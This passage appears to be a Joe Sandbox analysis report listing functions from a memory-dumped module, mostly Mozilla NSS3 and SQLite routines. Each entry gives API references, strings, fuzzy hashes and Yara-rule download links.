Instruction ID: b8eb91c9c85d69c9567b2cb1f21c70c96fd5d1731a578034a0fcfc6aebdb1c2f
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: EB21ACB6E121259BDF019EA5DD429DFB7F4AF05208B180024E908A7721F731E9D9CBE2

Function 6CB25F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CB2AADB,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25F72

Part of subcall function 6CA8ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CA8ED8F
Part of subcall function 6CA8ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CA8ED9E
Part of subcall function 6CA8ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CA8EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CB2AADB,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CB2AADB,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25FCC
free.MOZGLUE(?,?,6CB2AADB,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CB2AADB,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25FF4
free.MOZGLUE(?,?,6CB2AADB,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CB2AADB,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB26019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CB2AADB,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB26036

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 567e5eafbc6bcfad0d09813a190ba507797d2365f51a184b44068e68e94e0153
Instruction ID: a7a2c0a9fe3bb7f3a6c2e13ecd1c8ee542bc3aef791643336a844f98a337f73e
Opcode Fuzzy Hash: 567e5eafbc6bcfad0d09813a190ba507797d2365f51a184b44068e68e94e0153
Instruction Fuzzy Hash: 5B215CF5605B409BEB209F75DC48BD3B7A8AF45748F100828E46EC7640EB3AE01CCB92

Function 6CA93C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CB0460B,?,?), ref: 6CA93CA9
EnterCriticalSection.KERNEL32(?), ref: 6CA93CB9
PL_HashTableLookup.NSS3(?), ref: 6CA93CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CA93CD6
PR_Unlock.NSS3 ref: 6CA93CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CA93CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA93D03
PR_Unlock.NSS3 ref: 6CA93D15

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 6d81a4317664e0050cc63b76475f3615623156d8b67256f927c605e748bcb516
Instruction ID: b68881799602300160bc4bd9a149b0c13c04ca7be168f87d2300e450e0d89eaa
Opcode Fuzzy Hash: 6d81a4317664e0050cc63b76475f3615623156d8b67256f927c605e748bcb516
Instruction Fuzzy Hash: E0112C7AE115146BDB011A74BC46CAA3A7CEB0225CB184530ED2C43711F721D8ACD6D1

Function 6CA99C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAB11C0: PR_NewLock.NSS3 ref: 6CAB1216

free.MOZGLUE(?), ref: 6CA99E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA99E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA99E4E
TlsGetValue.KERNEL32 ref: 6CA99EA2

Part of subcall function 6CAA9500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CAA9546

EnterCriticalSection.KERNEL32(?), ref: 6CA99EB6
PR_Unlock.NSS3 ref: 6CA99ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CA99F18

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: eddaa128967dc0e1b8109bca9657ad6eccf43f8ea13c5227a9f6065e65d47180
Instruction ID: ccc4ed67d9423661a4c132fb6f2be3871c43550e034070e83ece93a23cd63186
Opcode Fuzzy Hash: eddaa128967dc0e1b8109bca9657ad6eccf43f8ea13c5227a9f6065e65d47180
Instruction Fuzzy Hash: E581F8B1A10701AFEB109F74DE42AAB77E9BF44248F084528E85D87B11FB31E999C791

Function 6CAADCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAAAB10: DeleteCriticalSection.KERNEL32(D958E852,6CAB1397,5B5F5EC0,?,?,6CAAB1EE,2404110F,?,?), ref: 6CAAAB3C
Part of subcall function 6CAAAB10: free.MOZGLUE(D958E836,?,6CAAB1EE,2404110F,?,?), ref: 6CAAAB49
Part of subcall function 6CAAAB10: DeleteCriticalSection.KERNEL32(5D5E6CCA), ref: 6CAAAB5C
Part of subcall function 6CAAAB10: free.MOZGLUE(5D5E6CBE), ref: 6CAAAB63
Part of subcall function 6CAAAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CAAAB6F
Part of subcall function 6CAAAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CAAAB76

TlsGetValue.KERNEL32 ref: 6CAADCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CAADD0E
PK11_IsFriendly.NSS3(?), ref: 6CAADD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CAADD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAADE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAADEA6
PR_Unlock.NSS3(?), ref: 6CAADF08

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 94c4904507809c499c8ab7a468cf5ffec62ebe20ecb310111caef0132cca8001
Instruction ID: a6befe5eb130d19bc35ef8beb3bd49871c57ae051c7a64a5d0066504d3636c21
Opcode Fuzzy Hash: 94c4904507809c499c8ab7a468cf5ffec62ebe20ecb310111caef0132cca8001
Instruction Fuzzy Hash: BC91D4B5E011059FDB10CFA8D980BAFB7B5AF58308F188029DC599B741EB31ED96CB91

Function 6CA65FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CB4BB62,00000004,6CBB4CA4,?,?,00000000,?,?,6CA231DB), ref: 6CA660AB
sqlite3_config.NSS3(00000004,6CBB4CA4,6CB4BB62,00000004,6CBB4CA4,?,?,00000000,?,?,6CA231DB), ref: 6CA660EB
sqlite3_config.NSS3(00000012,6CBB4CC4,?,?,6CB4BB62,00000004,6CBB4CA4,?,?,00000000,?,?,6CA231DB), ref: 6CA66122

Strings

misuse, xrefs: 6CA6609F
%s at line %d of [%.10s], xrefs: 6CA660A4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA66095

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 990cda9f719ca9e188cad0c543e5f489279bb775e8aea02a2995634336c7acc1
Instruction ID: d5bc870fdb9ade01f833cef5f8d0802d8d8355512202cfd486de99fab2750b50
Opcode Fuzzy Hash: 990cda9f719ca9e188cad0c543e5f489279bb775e8aea02a2995634336c7acc1
Instruction Fuzzy Hash: C1B18074E0468ACFCB05CF28C2419ADBBF4FB1E344F058169D549AB723E730AA84CB95

Function 6CA14F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA14FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA151BB

Strings

misuse, xrefs: 6CA151AF
unable to delete/modify user-function due to active statements, xrefs: 6CA151DF
%s at line %d of [%.10s], xrefs: 6CA151B4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA151A5

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: e465f4b7a8a87c42f2e27a4a47d0eef6c1249100498bc8d58231c38935459cbf
Instruction ID: 4ed17cc63ea0b377d97e1d1d4d4be2a4b6cf73171d161873a45051bfd4350d27
Opcode Fuzzy Hash: e465f4b7a8a87c42f2e27a4a47d0eef6c1249100498bc8d58231c38935459cbf
Instruction Fuzzy Hash: F0719F7560820A9FDB01CE59CDC0B9A77B9BB48318F194524FD199BB41D335EC94CBA1

Function 6CA82D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CA82D69

Strings

winUnmapfile2, xrefs: 6CA82F7F
winTruncate1, xrefs: 6CA82EBE
winUnmapfile1, xrefs: 6CA82F55
winSeekFile, xrefs: 6CA82E9C
winTruncate2, xrefs: 6CA82EF8

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 3b385300507b5bb9b987adfb16c34b6c731b609b32605be97e9827dc72024e8c
Instruction ID: 85e4661ee3128e567aa94ce918e6e4b3c4744f6c79da60748a7bf8bfe53b7a12
Opcode Fuzzy Hash: 3b385300507b5bb9b987adfb16c34b6c731b609b32605be97e9827dc72024e8c
Instruction Fuzzy Hash: 1761CD75B012049FDB44CF68DC94AAE7BB1FF49364F148228E9199BB80DB31AC46CB95

Function 6CAFFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CAFF165,?), ref: 6CAFFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CAFF165,?), ref: 6CAFFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CAFF165,?), ref: 6CAFFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CAFF165,?), ref: 6CAFFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CAFF165,?), ref: 6CAFFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CAFF165,6CBC219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAFFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CAFF165,?), ref: 6CB000A6

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: c74477a45f2de6406ae156ca61ec684e59289103679d55cbf97f827345669c80
Instruction ID: 281a4fa5b43351ebf9ebf83171eed92cc5b4c7470156504153af23078c92271d
Opcode Fuzzy Hash: c74477a45f2de6406ae156ca61ec684e59289103679d55cbf97f827345669c80
Instruction Fuzzy Hash: 26510A71F042999FDB108E58D8807AEBBB9FB49318F280129DD55A7740E731AD45CBD1

Function 6CABDEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CABDF37
EnterCriticalSection.KERNEL32(?), ref: 6CABDF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CABDF96
PR_SetError.NSS3(00000000,00000000), ref: 6CABE02B
PR_Unlock.NSS3(?), ref: 6CABE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CABE090
PR_Unlock.NSS3(?), ref: 6CABE0AF

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: c0429c991be9c8e02fd00ddd9fa858db08a59024dc1bd047dde861c9a6ced6ab
Instruction ID: ba72bfe4325f4a5ada3e8dc1c22c0c9d532280f7c81e2b5d21e422d1b0121683
Opcode Fuzzy Hash: c0429c991be9c8e02fd00ddd9fa858db08a59024dc1bd047dde861c9a6ced6ab
Instruction Fuzzy Hash: F651D035A40600CFEB209F28DC44B5A73B9FF44318F244A68E85A67B91D731E888CBD2

Function 6CABBCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CABBD1E

Part of subcall function 6CA92F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CA92F0A
Part of subcall function 6CA92F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CA92F1D

Part of subcall function 6CAD57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CA9B41E,00000000,00000000,?,00000000,?,6CA9B41E,00000000,00000000,00000001,?), ref: 6CAD57E0
Part of subcall function 6CAD57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CAD5843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CABBD8C

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CABBD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CABBDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CABBE3A

Part of subcall function 6CA93E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA93EC2
Part of subcall function 6CA93E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA93ED6
Part of subcall function 6CA93E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA93EEE
Part of subcall function 6CA93E60: PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA93F02
Part of subcall function 6CA93E60: PL_FreeArenaPool.NSS3 ref: 6CA93F14
Part of subcall function 6CA93E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA93F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CABBE52

Part of subcall function 6CA92E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CA92CDA,?,00000000), ref: 6CA92E1E
Part of subcall function 6CA92E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CA92E33
Part of subcall function 6CA92E00: TlsGetValue.KERNEL32 ref: 6CA92E4E
Part of subcall function 6CA92E00: EnterCriticalSection.KERNEL32(?), ref: 6CA92E5E
Part of subcall function 6CA92E00: PL_HashTableLookup.NSS3(?), ref: 6CA92E71
Part of subcall function 6CA92E00: PL_HashTableRemove.NSS3(?), ref: 6CA92E84
Part of subcall function 6CA92E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CA92E96
Part of subcall function 6CA92E00: PR_Unlock.NSS3 ref: 6CA92EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CABBE61

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 8a7a7b1642186bed9ca8918e4bd3a7ac6601852e3ba2b4f9defafd4495f51182
Instruction ID: cf1eb90ed969783a9c312dc6964d62ec65b70dfd3c539dc0302b3d1380f43799
Opcode Fuzzy Hash: 8a7a7b1642186bed9ca8918e4bd3a7ac6601852e3ba2b4f9defafd4495f51182
Instruction Fuzzy Hash: 8B41E6B5A002109FD710CF28EDC1A6A77F8EF49718F144258F949A7711E731ED98CB92

Function 6CADAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CADAB3E,?,?,?), ref: 6CADAC35

Part of subcall function 6CABCEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CABCF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CADAB3E,?,?,?), ref: 6CADAC55

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CADAB3E,?,?), ref: 6CADAC70

Part of subcall function 6CABE300: TlsGetValue.KERNEL32 ref: 6CABE33C
Part of subcall function 6CABE300: EnterCriticalSection.KERNEL32(?), ref: 6CABE350
Part of subcall function 6CABE300: PR_Unlock.NSS3(?), ref: 6CABE5BC
Part of subcall function 6CABE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CABE5CA
Part of subcall function 6CABE300: TlsGetValue.KERNEL32 ref: 6CABE5F2
Part of subcall function 6CABE300: EnterCriticalSection.KERNEL32(?), ref: 6CABE606
Part of subcall function 6CABE300: PORT_Alloc_Util.NSS3(?), ref: 6CABE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CADAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CADAB3E), ref: 6CADACD7
PORT_Alloc_Util.NSS3(?), ref: 6CADAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CADAD2B

Part of subcall function 6CABF360: TlsGetValue.KERNEL32(00000000,?,6CADA904,?), ref: 6CABF38B
Part of subcall function 6CABF360: EnterCriticalSection.KERNEL32(?,?,?,6CADA904,?), ref: 6CABF3A0
Part of subcall function 6CABF360: PR_Unlock.NSS3(?,?,?,?,6CADA904,?), ref: 6CABF3D3

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 8c9c90c66808e55904f09157196f3c14cf11a435e3404b495098e9658773b6ad
Instruction ID: f35e64576498af9474e7da154f306291c714eaa4d8667b6e2d50cbd5c184a0c0
Opcode Fuzzy Hash: 8c9c90c66808e55904f09157196f3c14cf11a435e3404b495098e9658773b6ad
Instruction Fuzzy Hash: BF312BB5E006055FEB008F69DC409AF777BEF84728B1D8128E81557740EB31ED9587A1

Function 6CAB8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

